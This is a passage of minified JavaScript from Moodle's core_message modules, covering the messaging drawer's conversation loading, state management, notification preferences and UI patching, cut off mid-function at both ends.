loggedInUserId=loggedInUserProfile.id,midnight=parseInt(body.attr(&quot;data-midnight&quot;),10),messagePollMin=parseInt(body.attr(&quot;data-message-poll-min&quot;),10),messagePollMax=parseInt(body.attr(&quot;data-message-poll-max&quot;),10),messagePollAfterMax=parseInt(body.attr(&quot;data-message-poll-after-max&quot;),10),initialState=StateManager.buildInitialState(midnight,loggedInUserId,conversationId,messagePollMin,messagePollMax,messagePollAfterMax);viewState||(viewState=initialState),render(initialState)},resetNoConversation=function(body,loggedInUserProfile,otherUserId){resetState(body,null,loggedInUserProfile);return(loggedInUserProfile.id!=otherUserId?Repository.getConversationBetweenUsers(loggedInUserProfile.id,otherUserId,!0,!0,0,0,LOAD_MESSAGE_LIMIT,0,NEWEST_FIRST):Repository.getSelfConversation(loggedInUserProfile.id,LOAD_MESSAGE_LIMIT,0,NEWEST_FIRST)).then((function(conversation){return resetByConversation(body,conversation,loggedInUserProfile)})).catch((function(){return function(loggedInUserProfile,otherUserId){var loggedInUserId=loggedInUserProfile.id,conversationType=loggedInUserId==otherUserId?CONVERSATION_TYPES.SELF:CONVERSATION_TYPES.PRIVATE,newState=StateManager.setLoadingMembers(viewState,!0);return newState=StateManager.setLoadingMessages(newState,!0),render(newState),Repository.getMemberInfo(loggedInUserId,[otherUserId],!0,!0).then((function(profiles){if(profiles.length)return profiles[0];throw new Error(&quot;Unable to load other user profile&quot;)})).then((function(profile){var members=conversationType==CONVERSATION_TYPES.SELF?[profile]:[profile,loggedInUserProfile],newState=StateManager.addMembers(viewState,members);return newState=StateManager.setLoadingMembers(newState,!1),newState=StateManager.setLoadingMessages(newState,!1),newState=StateManager.setName(newState,profile.fullname),newState=StateManager.setType(newState,conversationType),newState=StateManager.setImageUrl(newState,profile.profileimageurl),newState=StateManager.setTotalMemberCount(newState,members.length),render(newState),profile})).catch((function(error){var newState=StateManager.setLoadingMembers(viewState,!1);render(newState),Notification.exception(error)}))}(loggedInUserProfile,otherUserId)}))},resetById=function(body,conversationId,loggedInUserProfile){var cache=null;conversationId in stateCache&amp;&amp;(cache=stateCache[conversationId]),resetState(body,conversationId,loggedInUserProfile);var promise=$.Deferred().resolve({}).promise();if(cache){var newState=cache.state;newState=StateManager.setLoadingMessages(newState,!1),newState=StateManager.setLoadingMembers(newState,!1),setMessagesOffset(cache.messagesOffset),setLoadedAllMessages(cache.loadedAllMessages),render(newState)}else promise=function(conversationId,loggedInUserProfile,messageLimit,messageOffset,newestFirst){var loggedInUserId=loggedInUserProfile.id,newState=StateManager.setLoadingMembers(viewState,!0);return newState=StateManager.setLoadingMessages(newState,!0),render(newState),Repository.getConversation(loggedInUserId,conversationId,!0,!0,0,0,messageLimit+1,messageOffset,newestFirst).then((function(conversation){return conversation.messages.length&gt;messageLimit?conversation.messages=conversation.messages.slice(1):setLoadedAllMessages(!0),setMessagesOffset(messageOffset+messageLimit),conversation})).then((function(conversation){conversation.members.filter((function(member){return member.id==loggedInUserProfile.id})).length&lt;1&amp;&amp;(conversation.members=conversation.members.concat([loggedInUserProfile]));var newState=updateStateFromConversation(conversation,loggedInUserProfile.id);return newState=StateManager.setLoadingMembers(newState,!1),newState=StateManager.setLoadingMessages(newState,!1),render(newState).then((function(){return conversation}))})).then((function(){return markConversationAsRead(conversationId)})).catch((function(error){var newState=StateManager.setLoadingMembers(viewState,!1);newState=StateManager.setLoadingMessages(newState,!1),render(newState),Notification.exception(error)}))}(conversationId,loggedInUserProfile,LOAD_MESSAGE_LIMIT,0,NEWEST_FIRST);return promise.then((function(){return resetMessagePollTimer(conversationId)}))},resetByConversation=function(body,conversation,loggedInUserProfile){var cache=null;conversation.id in stateCache&amp;&amp;(cache=stateCache[conversation.id]),resetState(body,conversation.id,loggedInUserProfile);var promise=$.Deferred().resolve({}).promise();if(cache){var newState=cache.state;newState=StateManager.setLoadingMessages(newState,!1),newState=StateManager.setLoadingMembers(newState,!1),setMessagesOffset(cache.messagesOffset),setLoadedAllMessages(cache.loadedAllMessages),render(newState)}else promise=function(conversation,loggedInUserProfile,messageLimit,newestFirst){conversation.members.filter((function(member){return member.id==loggedInUserProfile.id})).length&lt;1&amp;&amp;(conversation.members=conversation.members.concat([loggedInUserProfile]));var messageCount=conversation.messages.length,hasLoadedEnoughMessages=messageCount&gt;=messageLimit,newState=updateStateFromConversation(conversation,loggedInUserProfile.id);return newState=StateManager.setLoadingMembers(newState,!1),newState=StateManager.setLoadingMessages(newState,!hasLoadedEnoughMessages),render(newState).then((function(){return hasLoadedEnoughMessages?{messages:conversation.messages}:loadMessages(conversation.id,messageLimit,messageCount,newestFirst,[])})).then((function(){var messages=viewState.messages;return setMessagesOffset(messages.length),markConversationAsRead(viewState.id),messages})).catch(Notification.exception)}(conversation,loggedInUserProfile,LOAD_MESSAGE_LIMIT,NEWEST_FIRST);return promise.then((function(){return resetMessagePollTimer(conversation.id)}))};return{show:function(namespace,header,body,footer,conversationOrId,action,otherUserId){var userId,conversation=null,conversationId=null;conversationOrId&amp;&amp;null!==conversationOrId&amp;&amp;&quot;object&quot;==typeof conversationOrId?(conversation=conversationOrId,conversationId=parseInt(conversation.id,10)):(conversation=null,conversationId=parseInt(conversationOrId,10),conversationId=isNaN(conversationId)?null:conversationId),!conversationId&amp;&amp;action&amp;&amp;otherUserId&amp;&amp;(userId=otherUserId,conversationId=Object.keys(stateCache).reduce((function(carry,id){if(!carry){var state=stateCache[id].state;state.type!=CONVERSATION_TYPES.PUBLIC&amp;&amp;userId in state.members&amp;&amp;(carry=state.id)}return carry}),null));var isNewConversation=!viewState||viewState.id!=conversationId||otherUserId&amp;&amp;otherUserId!=getOtherUserId();if(body.attr(&quot;data-init&quot;)||(render=function(header,body,footer,isNewConversation){var rendererFunc=function(patch){return Renderer.render(header,body,footer,patch)};if(!isNewConversation){var initialState=StateManager.buildInitialState(viewState.midnight,viewState.loggedInUserId,viewState.id);rendererFunc(Patcher.buildPatch(initialState,viewState))}return renderers.push(rendererFunc),function(newState){var patch=Patcher.buildPatch(viewState,newState),deferred=$.Deferred();return Object.keys(patch).length?renderBuffer.push({patch:patch,deferred:deferred}):deferred.resolve(!0),viewState=newState,newState.id&amp;&amp;(stateCache[newState.id]={state:newState,messagesOffset:getMessagesOffset(),loadedAllMessages:hasLoadedAllMessages()}),processRenderBuffer(header,body,footer),deferred.promise()}}(header,body,footer,isNewConversation),registerEventListeners(namespace,header,body,footer),body.attr(&quot;data-init&quot;,!0)),isNewConversation){var loggedInUserProfile=function(body){return{id:parseInt(body.attr(&quot;data-user-id&quot;),10),fullname:null,profileimageurl:null,profileimageurlsmall:null,isonline:null,showonlinestatus:null,isblocked:null,iscontact:null,isdeleted:null,canmessage:null,canmessageevenifblocked:null,requirescontact:null,contactrequests:[]}}(body);return(conversation?resetByConversation(body,conversation,loggedInUserProfile,otherUserId):conversationId?resetById(body,conversationId,loggedInUserProfile):resetNoConversation(body,loggedInUserProfile,otherUserId)).then((function(){isResetting=!1,header.find(Constants.SELECTORS.CAN_RECEIVE_FOCUS).first().focus()})).catch((function(error){isResetting=!1,Notification.exception(error)}))}if(resetMessagePollTimer(conversationId),viewState.type==CONVERSATION_TYPES.PRIVATE&amp;&amp;action){var currentOtherUserId=getOtherUserId();switch(action){case&quot;block&quot;:return requestBlockUser(currentOtherUserId);case&quot;unblock&quot;:return requestUnblockUser(currentOtherUserId);case&quot;add-contact&quot;:return requestAddContact(currentOtherUserId);case&quot;remove-contact&quot;:return requestRemoveContact(currentOtherUserId)}}return $.Deferred().resolve().promise()},description:function(){return Str.get_string(&quot;messagedrawerviewconversation&quot;,&quot;core_message&quot;,viewState.name)}}}));
/**
 * Controls the preference for an individual notification type on the
 * message preference page.
 *
 * @module     core_message/notification_preference
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/notification_preference&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core_message/notification_processor&quot;],(function($,Ajax,Notification,NotificationProcessor){const SELECTORS_PROCESSOR=&quot;[data-processor-name]&quot;,SELECTORS_STATE_INPUTS=&quot;[data-state] input&quot;,NotificationPreference=function(element,userId){this.root=$(element),this.userId=userId};return NotificationPreference.prototype.getPreferenceKey=function(){return this.root.attr(&quot;data-preference-key&quot;)},NotificationPreference.prototype.getEnabledPreferenceKey=function(){return this.getPreferenceKey()+&quot;_enabled&quot;},NotificationPreference.prototype.getProcessors=function(){return this.root.find(SELECTORS_PROCESSOR).map((function(index,element){return new NotificationProcessor($(element))}))},NotificationPreference.prototype.startLoading=function(){this.root.addClass(&quot;loading&quot;),this.root.find(SELECTORS_STATE_INPUTS).prop(&quot;disabled&quot;,!0)},NotificationPreference.prototype.stopLoading=function(){this.root.removeClass(&quot;loading&quot;),this.root.find(SELECTORS_STATE_INPUTS).prop(&quot;disabled&quot;,!1)},NotificationPreference.prototype.isLoading=function(){return this.root.hasClass(&quot;loading&quot;)},NotificationPreference.prototype.save=function(){if(this.isLoading())return $.Deferred().resolve();this.startLoading();let enabledValue=&quot;&quot;;this.getProcessors().each((function(index,processor){processor.isEnabled()&amp;&amp;(&quot;&quot;===enabledValue?enabledValue=processor.getName():enabledValue+=&quot;,&quot;+processor.getName())})),&quot;&quot;===enabledValue&amp;&amp;(enabledValue=&quot;none&quot;);const request={methodname:&quot;core_user_update_user_preferences&quot;,args:{userid:this.userId,preferences:[{type:this.getEnabledPreferenceKey(),value:enabledValue}]}};return Ajax.call([request])[0].fail(Notification.exception).always(function(){this.stopLoading()}.bind(this))},NotificationPreference}));
/**
 * This module operates on the view states from the message_drawer_view_conversation module.
 * It exposes functions that can be used to generate new version of the state.
 *
 * Important notes for this module:
 * 1.) The existing state is always immutable. It should never be modified.
 * 2.) All functions that operate on the state should always clone the state and
 *     modify the cloned state before returning it.
 *
 * It&#039;s important that the states remain immutable because they are diff&#039;d in
 * the message_drawer_view_conversation_patcher module in order to work out what
 * has changed.
 *
 * @module     core_message/message_drawer_view_conversation_state_manager
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_conversation_state_manager&quot;,[&quot;jquery&quot;],(function($){var cloneState=function(state){return $.extend(!0,{},state)},formatMessages=function(messages,loggedInUserId,members){return messages.map((function(message){var fromLoggedInUser=message.useridfrom==loggedInUserId;return{id:&quot;&quot;+message.id,fromLoggedInUser:fromLoggedInUser,userFrom:members[message.useridfrom],text:message.text,timeCreated:message.timecreated?parseInt(message.timecreated,10):null}}))};return{buildInitialState:function(midnight,loggedInUserId,id,messagePollMin,messagePollMax,messagePollAfterMax){return{midnight:midnight,loggedInUserId:loggedInUserId,id:id,messagePollMin:messagePollMin,messagePollMax:messagePollMax,messagePollAfterMax:messagePollAfterMax,name:null,subname:null,type:null,totalMemberCount:null,imageUrl:null,isFavourite:null,isMuted:null,canDeleteMessagesForAllUsers:!1,deleteMessagesForAllUsers:!1,members:{},messages:[],hasTriedToLoadMessages:!1,loadingMessages:!0,loadingMembers:!0,loadingConfirmAction:!1,pendingBlockUserIds:[],pendingUnblockUserIds:[],pendingRemoveContactIds:[],pendingAddContactIds:[],pendingDeleteMessageIds:[],pendingSendMessageIds:[],pendingDeleteConversation:!1,selectedMessageIds:[],showEmojiAutoComplete:!1,showEmojiPicker:!1}},addMessages:function(state,messages){var newState=cloneState(state),formattedMessages=formatMessages(messages,state.loggedInUserId,state.members);formattedMessages=formattedMessages.map((function(message){return message.sendState=null,message.timeAdded=Date.now(),message.errorMessage=null,message}));var allMessages=state.messages.concat(formattedMessages);return allMessages.sort((function(a,b){if(null===a.timeCreated&amp;&amp;null===b.timeCreated){if(a.timeAdded&lt;b.timeAdded)return-1;if(a.timeAdded&gt;b.timeAdded)return 1}return null===a.timeCreated&amp;&amp;null!==b.timeCreated?1:null!==a.timeCreated&amp;&amp;null===b.timeCreated||a.timeCreated&lt;b.timeCreated?-1:a.timeCreated&gt;b.timeCreated?1:a.id&lt;b.id?-1:a.id&gt;b.id?1:0})),newState.messages=allMessages.filter((function(message,index,sortedMessages){return!index||message.id!=sortedMessages[index-1].id})),newState},updateMessages:function(state,data){var newState=cloneState(state),updatesById=data.reduce((function(carry,messageData){var oldMessage=messageData[0],newMessage=messageData[1],formattedMessage=formatMessages([newMessage],state.loggedInUserId,state.members)[0];return carry[oldMessage.id]=formattedMessage,carry}),{});return newState.messages=newState.messages.map((function(message){return message.id in updatesById?$.extend(message,updatesById[message.id]):message})),newState},removeMessages:function(state,messages){var newState=cloneState(state),removeMessageIds=messages.map((function(message){return&quot;&quot;+message.id}));return newState.messages=newState.messages.filter((function(message){return removeMessageIds.indexOf(message.id)&lt;0})),newState},removeMessagesById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.messages=newState.messages.filter((function(message){return messageIds.indexOf(message.id)&lt;0})),newState},addMembers:function(state,members){var newState=cloneState(state),formattedMembers=function(members){return members.map((function(member){return{id:member.id,fullname:member.fullname,profileurl:member.profileurl,profileimageurl:member.profileimageurl,profileimageurlsmall:member.profileimageurlsmall,isonline:member.isonline,showonlinestatus:member.showonlinestatus,isblocked:member.isblocked,iscontact:member.iscontact,isdeleted:member.isdeleted,canmessage:member.canmessage,canmessageevenifblocked:member.canmessageevenifblocked,requirescontact:member.requirescontact,contactrequests:member.contactrequests||[]}}))}(members);return formattedMembers.forEach((function(member){newState.members[member.id]=member})),newState},removeMembers:function(state,members){var newState=cloneState(state);return members.forEach((function(member){delete newState.members[member.id]})),newState},setLoadingMessages:function(state,value){var newState=cloneState(state);return newState.loadingMessages=value,state.loadingMessages&amp;&amp;!value&amp;&amp;(newState.hasTriedToLoadMessages=!0),newState},setLoadingMembers:function(state,value){var newState=cloneState(state);return newState.loadingMembers=value,newState},setId:function(state,value){var newState=cloneState(state);return newState.id=value,newState},setName:function(state,value){var newState=cloneState(state);return newState.name=value,newState},setSubname:function(state,value){var newState=cloneState(state);return newState.subname=value,newState},setType:function(state,type){var newState=cloneState(state);return newState.type=type,newState},setIsFavourite:function(state,isFavourite){var newState=cloneState(state);return newState.isFavourite=isFavourite,newState},setIsMuted:function(state,isMuted){var newState=cloneState(state);return newState.isMuted=isMuted,newState},setCanDeleteMessagesForAllUsers:function(state,value){var newState=cloneState(state);return newState.canDeleteMessagesForAllUsers=value,newState},setDeleteMessagesForAllUsers:function(state,value){var newState=cloneState(state);return newState.deleteMessagesForAllUsers=value,newState},setTotalMemberCount:function(state,count){var newState=cloneState(state);return newState.totalMemberCount=count,newState},setImageUrl:function(state,url){var newState=cloneState(state);return newState.imageUrl=url,newState},setLoadingConfirmAction:function(state,value){var newState=cloneState(state);return newState.loadingConfirmAction=value,newState},setPendingDeleteConversation:function(state,value){var newState=cloneState(state);return newState.pendingDeleteConversation=value,newState},setMessagesSendPendingById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.messages.forEach((function(message){messageIds.indexOf(message.id)&gt;=0&amp;&amp;(message.sendState=&quot;pending&quot;,message.errorMessage=null)})),newState},setMessagesSendSuccessById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.messages.forEach((function(message){messageIds.indexOf(message.id)&gt;=0&amp;&amp;(message.sendState=&quot;sent&quot;,message.errorMessage=null)})),newState},setMessagesSendFailById:function(state,messageIds,errorMessage){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.messages.forEach((function(message){messageIds.indexOf(message.id)&gt;=0&amp;&amp;(message.sendState=&quot;error&quot;,message.errorMessage=errorMessage)})),newState},setShowEmojiAutoComplete:function(state,show){var newState=cloneState(state);return newState.showEmojiAutoComplete=show,newState},setShowEmojiPicker:function(state,show){var newState=cloneState(state);return newState.showEmojiPicker=show,newState},addPendingBlockUsersById:function(state,userIds){var newState=cloneState(state);return userIds.forEach((function(id){newState.pendingBlockUserIds.push(id)})),newState},addPendingRemoveContactsById:function(state,userIds){var newState=cloneState(state);return userIds.forEach((function(id){newState.pendingRemoveContactIds.push(id)})),newState},addPendingUnblockUsersById:function(state,userIds){var newState=cloneState(state);return userIds.forEach((function(id){newState.pendingUnblockUserIds.push(id)})),newState},addPendingAddContactsById:function(state,userIds){var newState=cloneState(state);return userIds.forEach((function(id){newState.pendingAddContactIds.push(id)})),newState},addPendingDeleteMessagesById:function(state,messageIds){var newState=cloneState(state);return messageIds.forEach((function(id){newState.pendingDeleteMessageIds.push(id)})),newState},removePendingBlockUsersById:function(state,userIds){var newState=cloneState(state);return newState.pendingBlockUserIds=newState.pendingBlockUserIds.filter((function(id){return userIds.indexOf(id)&lt;0})),newState},removePendingRemoveContactsById:function(state,userIds){var newState=cloneState(state);return newState.pendingRemoveContactIds=newState.pendingRemoveContactIds.filter((function(id){return userIds.indexOf(id)&lt;0})),newState},removePendingUnblockUsersById:function(state,userIds){var newState=cloneState(state);return newState.pendingUnblockUserIds=newState.pendingUnblockUserIds.filter((function(id){return userIds.indexOf(id)&lt;0})),newState},removePendingAddContactsById:function(state,userIds){var newState=cloneState(state);return newState.pendingAddContactIds=newState.pendingAddContactIds.filter((function(id){return userIds.indexOf(id)&lt;0})),newState},removePendingDeleteMessagesById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.pendingDeleteMessageIds=newState.pendingDeleteMessageIds.filter((function(id){return messageIds.indexOf(id)&lt;0})),newState},addSelectedMessagesById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.selectedMessageIds=newState.selectedMessageIds.concat(messageIds),newState},removeSelectedMessagesById:function(state,messageIds){var newState=cloneState(state);return messageIds=messageIds.map((function(id){return&quot;&quot;+id})),newState.selectedMessageIds=newState.selectedMessageIds.filter((function(id){return messageIds.indexOf(id)&lt;0})),newState},markMessagesAsRead:function(state,readMessages){var newState=cloneState(state),readMessageIds=readMessages.map((function(message){return message.id}));return newState.messages=newState.messages.map((function(message){return readMessageIds.indexOf(message.id)&gt;=0&amp;&amp;(message.isRead=!0),message})),newState},addContactRequests:function(state,requests){var newState=cloneState(state);return requests.forEach((function(request){var fromUserId=request.userid,toUserId=request.requesteduserid;newState.members[fromUserId].contactrequests.push(request),newState.members[toUserId].contactrequests.push(request)})),newState},removeContactRequests:function(state,requests){var newState=cloneState(state);return requests.forEach((function(request){var fromUserId=request.userid,toUserId=request.requesteduserid;newState.members[fromUserId].contactrequests=newState.members[fromUserId].contactrequests.filter((function(existing){return existing.userid!=fromUserId})),newState.members[toUserId].contactrequests=newState.members[toUserId].contactrequests.filter((function(existing){return existing.requesteduserid!=toUserId}))})),newState}}}));
/**
 * Module to message a user from their profile page.
 *
 * @module     core_message/message_user_button
 * @copyright  2019 Mark Nelson &lt;markn@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_user_button&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_message/message_drawer_helper&quot;,&quot;core/templates&quot;],(function($,CustomEvents,MessageDrawerHelper,Templates){var SELECTORS_MESSAGE_TEXTAREA=&#039;[data-region=&quot;send-message-txt&quot;]&#039;,SELECTORS_MESSAGE_USER_BUTTON=&quot;#message-user-button&quot;,TEMPLATES_CONTENT=&quot;core_message/message_jumpto&quot;,getUserId=function(element){return parseInt(element.attr(&quot;data-userid&quot;))},getConversationId=function(element){return parseInt(element.attr(&quot;data-conversationid&quot;))};return{send:function(element){element=$(element);var args={conversationid:getConversationId(element),buttonid:$(element).attr(&quot;id&quot;),userid:getUserId(element)};Templates.render(TEMPLATES_CONTENT,{}).then((function(html){element.after(html)})).then((function(){$(SELECTORS_MESSAGE_USER_BUTTON).next().focus((function(){$(SELECTORS_MESSAGE_TEXTAREA).focus()}))})),CustomEvents.define(element,[CustomEvents.events.activate]),element.on(CustomEvents.events.activate,(function(e,data){$(e.target).hasClass(&quot;active&quot;)?(MessageDrawerHelper.hide(),$(SELECTORS_MESSAGE_USER_BUTTON).next().attr(&quot;tabindex&quot;,-1)):($(SELECTORS_MESSAGE_USER_BUTTON).next().attr(&quot;tabindex&quot;,0),args.conversationid?MessageDrawerHelper.showConversation(args):MessageDrawerHelper.createConversationWithUser(args)),$(e.target).focus(),$(e.target).toggleClass(&quot;active&quot;),e.preventDefault(),data.originalEvent.preventDefault()}))}}}));
/**
 * Load the settings for a message processor.
 *
 * @module     core_message/notification_processor_settings
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/notification_processor_settings&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_registry&quot;,&quot;core/fragment&quot;],(function($,Ajax,Str,Notification,CustomEvents,Modal,ModalRegistry,Fragment){var registered=!1,SELECTORS_SAVE_BUTTON=&#039;[data-action=&quot;save&quot;]&#039;,SELECTORS_CANCEL_BUTTON=&#039;[data-action=&quot;cancel&quot;]&#039;,SELECTORS_PROCESSOR=&quot;[data-processor-name]&quot;,SELECTORS_PREFERENCE_ROW=&#039;[data-region=&quot;preference-row&quot;]&#039;,NotificationProcessorSettings=function(root){Modal.call(this,root),this.name=null,this.userId=null,this.contextId=null,this.element=null,this.saveButton=this.getFooter().find(SELECTORS_SAVE_BUTTON),this.cancelButton=this.getFooter().find(SELECTORS_CANCEL_BUTTON)};return NotificationProcessorSettings.TYPE=&quot;core_message-notification_processor_settings&quot;,(NotificationProcessorSettings.prototype=Object.create(Modal.prototype)).constructor=NotificationProcessorSettings,NotificationProcessorSettings.prototype.setUserId=function(id){this.userId=id},NotificationProcessorSettings.prototype.getUserId=function(){return this.userId},NotificationProcessorSettings.prototype.setElement=function(element){this.element=element},NotificationProcessorSettings.prototype.getElement=function(){return this.element},NotificationProcessorSettings.prototype.setName=function(name){this.name=name},NotificationProcessorSettings.prototype.getName=function(){return this.name},NotificationProcessorSettings.prototype.setContextId=function(id){this.contextId=id},NotificationProcessorSettings.prototype.getContextId=function(){return this.contextId},NotificationProcessorSettings.prototype.getForm=function(){return this.getBody().find(&quot;form&quot;)},NotificationProcessorSettings.prototype.disableButtons=function(){this.saveButton.prop(&quot;disabled&quot;,!0),this.cancelButton.prop(&quot;disabled&quot;,!0)},NotificationProcessorSettings.prototype.enableButtons=function(){this.saveButton.prop(&quot;disabled&quot;,!1),this.cancelButton.prop(&quot;disabled&quot;,!1)},NotificationProcessorSettings.prototype.loadTitleContent=function(){return this.titlePromise=Str.get_string(&quot;processorsettings&quot;,&quot;message&quot;),this.setTitle(this.titlePromise),this.titlePromise},NotificationProcessorSettings.prototype.loadBodyContent=function(){this.disableButtons();var args={userid:this.getUserId(),type:this.getName()};return this.bodyPromise=Fragment.loadFragment(&quot;message&quot;,&quot;processor_settings&quot;,this.getContextId(),args),this.setBody(this.bodyPromise),this.bodyPromise.then(function(){this.enableButtons()}.bind(this)).fail(Notification.exception),this.bodyPromise},NotificationProcessorSettings.prototype.loadAllContent=function(){return $.when(this.loadTitleContent(),this.loadBodyContent())},NotificationProcessorSettings.prototype.show=function(){this.loadAllContent(),Modal.prototype.show.call(this)},NotificationProcessorSettings.prototype.hide=function(){Modal.prototype.hide.call(this),this.setContextId(null),this.setName(null),this.setUserId(null)},NotificationProcessorSettings.prototype.updateConfiguredStatus=function(){var processorHeader=$(this.getElement()).closest(SELECTORS_PROCESSOR);if(!processorHeader.hasClass(&quot;unconfigured&quot;))return!1;var processorName=processorHeader.attr(&quot;data-processor-name&quot;),request={methodname:&quot;core_message_get_message_processor&quot;,args:{name:processorName,userid:this.userId}};return Ajax.call([request])[0].fail(Notification.exception).done((function(result){if(result.userconfigured){var notifications=$(SELECTORS_PREFERENCE_ROW+&#039; [data-processor-name=&quot;&#039;+processorName+&#039;&quot;]&#039;);processorHeader.removeClass(&quot;unconfigured&quot;),notifications.removeClass(&quot;disabled&quot;)}}))},NotificationProcessorSettings.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),this.getModal().on(CustomEvents.events.activate,SELECTORS_SAVE_BUTTON,function(e,data){this.getForm().submit(),data.originalEvent.preventDefault()}.bind(this)),this.getModal().on(&quot;mpp:formsubmitted&quot;,function(e){this.hide(),this.updateConfiguredStatus(),e.stopPropagation()}.bind(this)),this.getModal().on(CustomEvents.events.activate,SELECTORS_CANCEL_BUTTON,function(e,data){this.hide(),data.originalEvent.preventDefault(),e.stopPropagation()}.bind(this))},registered||(ModalRegistry.register(NotificationProcessorSettings.TYPE,NotificationProcessorSettings,&quot;core/modal_save_cancel&quot;),registered=!0),NotificationProcessorSettings}));
/**
 * This module will take 2 view states from the message_drawer_view_conversation
 * module and generate a patch that can be given to the
 * message_drawer_view_conversation_renderer module to update the UI.
 *
 * This module should never modify either state. It&#039;s purely a read only
 * module.
 *
 * @module     core_message/message_drawer_view_conversation_patcher
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_conversation_patcher&quot;,[&quot;jquery&quot;,&quot;core/user_date&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;],(function($,UserDate,Constants){var sortMessagesByDay=function(messages,midnight){var messagesByDay=messages.reduce((function(carry,message){var timeCreated=message.timeCreated?message.timeCreated:midnight,dayTimestamp=UserDate.getUserMidnightForTimestamp(timeCreated,midnight);return carry.hasOwnProperty(dayTimestamp)?carry[dayTimestamp].push(message):carry[dayTimestamp]=[message],carry}),{});return Object.keys(messagesByDay).map((function(dayTimestamp){return{timestamp:dayTimestamp,messages:messagesByDay[dayTimestamp]}}))},diffArrays=function(a,b,matchFunction){b=b.slice();var missingFromB=[],matches=[];return a.forEach((function(current){for(var found=!1,index=0;index&lt;b.length;index++){var next=b[index];if(matchFunction(current,next)){found=!0,matches.push({a:current,b:next});break}}found?b.splice(index,1):missingFromB.push(current)})),{missingFromA:b,missingFromB:missingFromB,matches:matches}},findPositionInArray=function(array,breakFunction){for(var i=0;i&lt;array.length;i++){var candidate=array[i];if(breakFunction(candidate))return candidate}return null},isArrayEqual=function(a,b){a=a.slice(),b=b.slice(),a.sort(),b.sort();var aLength=a.length,bLength=b.length;return aLength&lt;1&amp;&amp;bLength&lt;1||aLength==bLength&amp;&amp;a.every((function(item,index){return item==b[index]}))},isObjectEqual=function(a,b){var aKeys=Object.keys(a),bKeys=Object.keys(b);return aKeys.length==bKeys.length&amp;&amp;aKeys.every((function(key){var aVal=a[key],bVal=b[key],aType=typeof aVal,bType=typeof bVal;if(bType=null===aVal?&quot;null&quot;:bType,(aType=&quot;object&quot;===(aType=null===aVal?&quot;null&quot;:aType)&amp;&amp;Array.isArray(aType)?&quot;array&quot;:aType)!==(bType=&quot;object&quot;===bType&amp;&amp;Array.isArray(bType)?&quot;array&quot;:bType))return!1;switch(aType){case&quot;object&quot;:return isObjectEqual(aVal,bVal);case&quot;array&quot;:return isArrayEqual(aVal,bVal);default:return a[key]==b[key]}}))},isMessageEqual=function(a,b){return isObjectEqual({id:a.id,state:a.sendState,text:a.text,timeCreated:a.timeCreated},{id:b.id,state:b.sendState,text:b.text,timeCreated:b.timeCreated})},buildDaysPatch=function(current,remove,add){return{remove:remove,add:add.map((function(day){return{before:findPositionInArray(current,(function(candidate){return day.timestamp&lt;candidate.timestamp})),value:day}}))}},buildConversationPatch=function(state,newState){var matchingDays,remove,add,update,diff=diffArrays(state.messages,newState.messages,isMessageEqual);if(diff.missingFromA.length||diff.missingFromB.length){var current=sortMessagesByDay(state.messages,state.midnight),next=sortMessagesByDay(newState.messages,newState.midnight),daysDiff=diffArrays(current,next,(function(dayCurrent,dayNext){return dayCurrent.timestamp==dayNext.timestamp}));return{days:buildDaysPatch(current,daysDiff.missingFromB,daysDiff.missingFromA),messages:(matchingDays=daysDiff.matches,remove=[],add=[],update=[],matchingDays.forEach((function(days){var dayCurrent=days.a,dayNext=days.b,messagesDiff=diffArrays(dayCurrent.messages,dayNext.messages,isMessageEqual),patch=diffArrays(messagesDiff.missingFromB,messagesDiff.missingFromA,(function(a,b){return a.id==b.id||a.sendState!=b.sendState&amp;&amp;a.timeAdded==b.timeAdded}));remove=remove.concat(patch.missingFromB),patch.missingFromA.forEach((function(message){var before=null;message.timeCreated&amp;&amp;(before=findPositionInArray(dayCurrent.messages,(function(candidate){return message.timeCreated==candidate.timeCreated?message.id&lt;candidate.id:message.timeCreated&lt;candidate.timeCreated}))),add.push({before:before,value:message,day:dayCurrent})})),update=update.concat(patch.matches.map((function(message){return{before:message.a,after:message.b}})))})),{add:add,remove:remove,update:update})}}return null},buildHeaderPatchTypePrivate=function(state,newState){var 